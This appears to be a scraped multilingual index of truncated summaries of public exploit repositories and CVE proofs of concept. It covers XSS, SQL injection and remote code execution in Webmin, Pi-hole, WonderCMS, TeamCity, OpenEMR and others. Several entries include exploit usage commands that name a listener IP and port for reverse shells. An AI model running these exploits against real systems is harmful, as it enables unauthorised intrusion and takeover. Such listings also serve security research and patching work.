Rukovoditel <= 3.2.1 - Cross-Site Scripting

A stored cross-site scripting XSS vulnerability in the Global Lists feature /index.php?module=globallists/lists of Rukovoditel v3.2.1 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name parameter after clicking "Add". id:...

ServiceNow - Cross-site Scripting

A XSS vulnerability was identified in the ServiceNow UI page assessmentredirect. To exploit this vulnerability, an attacker would need to persuade an authenticated user to click a maliciously crafted URL. Successful exploitation potentially could be used to conduct various client-side attacks,...

Webmin1.910_exploit

Webmin 1.910 रिमोट कोड एक्ज़ीक्यूशन एक्सप्लॉइट विवरण: इस रिपॉज़िटरी में एक Python 3 स्क्रिप्ट है जो Webmin संस्करण 1.910 में रिमोट कोड एक्ज़ीक्यूशन भेद्यता का शोषण करने के लिए डिज़ाइन की गई है। स्क्रिप्ट प्रमाणीकरण करने और रिवर्स शेल पेलोड तैनात करने के लिए sessionlogin.cgi एंडपॉइंट का उपयोग करती...

CVE-2025-68937

CVE-2025-68937 - Gitea/Forgejo Template-Symlink-RCE Automatisierter Proof-of-Concept für CVE-2025-68937 : Directory-Traversal über Symlink-Auflösung bei der Template-Repository-Verarbeitung in Gitea und Forgejo, was zu Remote-Codeausführung führt. Jeder authentifizierte Benutzer kein Admin...

CVE-2018-19422-SubrionCMS-RCE

CVE-2018-19422-SubrionCMS-RCE SubrionCMS 4.2.1 Esecuzione Remota di Codice Autenticata /panel/uploads in Subrion CMS 4.2.1 consente a un attaccante remoto di eseguire codice PHP arbitrario tramite un file .pht o .phar, poiché il file .htaccess omette queste estensioni. Uso dell'Exploit Comandi:...

CVE-2025-59528

Französische Version CVE-2025-59528 Proof-of-Concept Minimaler PoC, der auf die technische Validierung der Schwachstelle in einer autorisierten Umgebung ausgerichtet ist. Voraussetzungen Sie müssen über ein Benutzerkonto im Ziel-Flowise-Dashboard verfügen. Sie müssen über einen gültigen...

CVE-2026-65008

CVE-2026-65008 — Grav CMS 2.0.7 Authentifizierte RCE Proof-of-Concept für CVE-2026-65008 : authentifizierte Remote-Codeausführung in Grav CMS über uneingeschränktes calluserfuncarray in Blueprint::dynamicData. Ein Benutzer mit admin.pages oder api.pages.write kann bösartiges Formular-Frontmatter...

CVE-2026-33910_SqlInjectionVulnerabilityOpenEMR8.0.0.2

CVE-2026-33910 - OpenEMR 弱点 CWE-89 对用于 SQL 命令的特殊元素的中和不当（'SQL 注入'） 该产品使用来自上游组件的外部影响输入来构造 SQL 命令的全部或部分，但未能正确中和或错误地中和那些可能修改预期 SQL 命令的特殊元素。如果没有充分去除或引用用户可控输入中的 SQL 语法，生成的 SQL 查询可能会导致这些输入被解释为 SQL 而非普通用户数据。更多信息请参考 MITRE。 总结 OpenEMR 8.0.0.2 在患者选择功能中存在一个 SQL 注入漏洞，可被已认证的攻击者利用。该漏洞源于患者选择功能中对输入验证不足。 详情...

CVE-2021-26828_ScadaBR_RCE

POC CVE-2021-26828ScadaBRRemoteCodeExecution ScadaBR 0.9.1 su Linux e fino alle versioni 1.0 e 1.12.4CE su Windows consente agli utenti remoti autenticati di caricare ed eseguire file JSP arbitrari tramite 'viewedit.shtm' e l'esecuzione remota di codice. Utilizzo dell'exploit Comandi: Windows: $...

CVE-2026-31844

Koha CVE-2026-31844: SQL Injection autenticata Panoramica Questo repository contiene un POC responsabile per la vulnerabilità CVE-2026-31844 , una SQL injection autenticata ad alta gravità nel sistema di gestione bibliotecaria Koha. La vulnerabilità esiste nella funzione GetDistinctValues in...

CVE-2020-8816

CVE-2020-8816 Pi-hole Esecuzione di codice remoto autenticata Versione = 4.3.2 Utilizzo python3 CVE-2020-8816.py -u http://10.10.10.10 -i 10.10.14.172 -p 1337 -pass admin Esempio Ulteriori informazioni https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/...

CVE-2025-56381

CVE-2025-56381 — SQL Injection autenticata in ERPNext / Frappe tramite i parametri orderby e groupby 📌 Sommario ERPNext v15.67.0 e Frappe Framework v15.72.4 contengono molteplici vulnerabilità di SQL injection autenticata nell'endpoint API frappe.desk.reportview.get. Input dannosi ai parametri...

CVE-2023-41425-WonderCMS-Authenticated-RCE

CVE-2023-41425-WonderCMS-Authenticated-RCE 描述 WonderCMS v3.2.0 - v3.4.2 存在漏洞。远程攻击者可以通过跨站脚本（XSS）攻击完全控制服务器（仅供教育目的）。以下是攻击计划： 工作原理： 该漏洞利用 WonderCMS 的 installModule 组件，偷偷植入一个运行任意代码的恶意脚本。 设置 工具：exploit.py 必要条件： 安装了 WonderCMS 的目标 URL（无需管理员密码）。 攻击者机器的 IP 地址。 监听反向 Shell 的端口。 逐步执行 1. 脚本生成一个名为 xss.js 的文件。这个...

CVE-2023-42793

关于 CVE-2023-42793 你需要先使用另一个漏洞获取令牌。不过，下面的这个漏洞利用将允许你在Linux服务器上获得RCE（远程代码执行），因为它将payload编码在URL中并发送给服务器。 如何使用 root@kitploit: python3 ./main -t TEAMCITYTOKEN -u http://teamcity.runner.htb -p 80 -ni LISTENERIP -np LISTENERPORT...

CVE-2025-27893

CVE-2025-27893 : Contrôle externe d'un paramètre web supposé immuable dans Archer Platform Description Dans Archer Platform 6 jusqu'à 6.14.00202.10024, un utilisateur authentifié disposant de privilèges de création d'enregistrements peut manipuler des champs immuables, tels que la date de créatio...

CVE-2024-46209

Redaxo 安全研究（CVE-2024-46209、CVE-2024-46210） Redaxo CMS v5.17.1 安全研究 完成于 2024 年 8 月 9 日 包含以下内容的详细描述： CVE-2024-46210 - MediaPool 模块中通过文件上传实现的存储型跨站脚本（Stored XSS） CVE-2024-46209 - 经过身份验证的任意代码执行...

CVE-2024-22514-Remote-Code-Execution

CVE-2024-22514: Удалённое выполнение кода в Agent DVR Информация Описание iSpyConnect.com Agent DVR 5.1.6.0 содержит уязвимость, которая позволяет перенаправлять файл, запускаемый командами оповещений. Изменение может позволить функции команд запускать любой файл в системе с правами контекста...

CVE-2022-30023

CVE-2022-30023 Аутентифицированная инъекция команд в маршрутизаторе Tenda HG9 Использование root@kitploit: git clone https://github.com/Haniwa0x01/CVE-2022-30023 cd CVE-2022-30023 python exploit.py -u http://target -U "user" -P "password" Пример root@kitploit: pc@pc-note:/CVE-2022-30023/$ python3...

nagios-xi-5.7.5-bugs

nagios-xi-5.7.5-bugs An Nagios XI gemeldete Bugs CVE-2021-25296 Code-Stelle /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php Code-Ausschnitt root@kitploit: if !empty$pluginoutputlen $diskwmicommand .= " --forcetruncateoutput " . $pluginoutputlen; $servicewmicommand .=...

WSO2-2021-1258

WSO2-2021-1258: Zip-Slip-Schwachstelle in WSO2 ESB In der WSO2 Management Console wurde eine auf ZIP-Dateien basierende Directory-Traversal-Schwachstelle Zip Slip identifiziert. Durch das Schreiben/Überschreiben bestimmter Dateien kann Remote-Codeausführung erreicht werden. Offenlegung des...